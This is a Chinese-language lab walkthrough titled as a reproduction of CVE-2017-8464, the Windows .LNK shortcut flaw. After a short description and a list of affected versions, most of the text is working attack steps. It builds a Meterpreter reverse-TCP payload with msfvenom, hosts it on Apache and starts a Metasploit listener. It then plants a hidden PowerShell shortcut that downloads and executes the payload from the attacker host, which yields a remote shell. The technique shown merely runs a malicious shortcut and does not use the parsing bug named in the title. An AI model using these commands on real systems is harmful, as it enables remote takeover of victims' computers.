CVE-2017-8464远程命令执行漏洞复现

CVE-2017-8464远程命令执行漏洞复现

漏洞描述

2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞，黑客可以通过U盘、网络共享等途径触发漏洞，完全控制用户系统，安全风险高危

Windows系统通过解析 .LNK 后缀文件时，是使用二进制来解析的，而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行，由于是在explorer.exe进程中运行的，所以load进内存的时候与当前用户具有相同的权限。

于是攻击者利用这一解析过程的漏洞，将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中)，受害者使用powershell解析 .LNK 文件后就会被黑客所控制。

成功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。

影响版本

windows 7
windows 8
windows 8.1
windows 10
windows server 2008
windows server 2008 R2
windows server 2012
windows server 2012 R2
windows server 2016

环境准备

攻击机：kali IP：192.168.30.154

靶机：Windows 7 X64 IP：192.168.30.153

漏洞复现

使用 kali msfvenom 生成一个反弹shell

root@kali911:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.30.154   LPORT=5656 -f psh-reflection>/var/www/html/hack.ps1

这里生成至 /var/www/html 目录下

启动 Apache 服务

root@kali911:~# service apache2 restart 
root@kali911:~# service apache2 status

浏览器打开该文件，查看是否成功

http://127.0.0.1/hack.ps1

启动 msf

root@kali911:~# msfconsole

使用监听模块multi/handler

msf5 > use exploit/multi/handler 

指定 kali 攻击机 IP

msf5 exploit(multi/handler) > set LHOST 192.168.30.154

设置端口

msf5 exploit(multi/handler) > set LPORT 5656

设置返回载荷

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

靶机创建快捷键（桌面右键->新建->快捷方式），输入以下内容

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.154/hack.ps1');test.ps1"

完成创建，运行快捷方式，一闪而过

回到 kali ，开始攻击

msf5 exploit(multi/handler) > exploit

成功exp，查看系统信息

meterpreter > sysinfo

还可进行更多操作这里就不一一介绍了

登录 shell

meterpreter > shell

查看当前用户

C:\Windows\System32\WindowsPowerShell\v1.0>whoami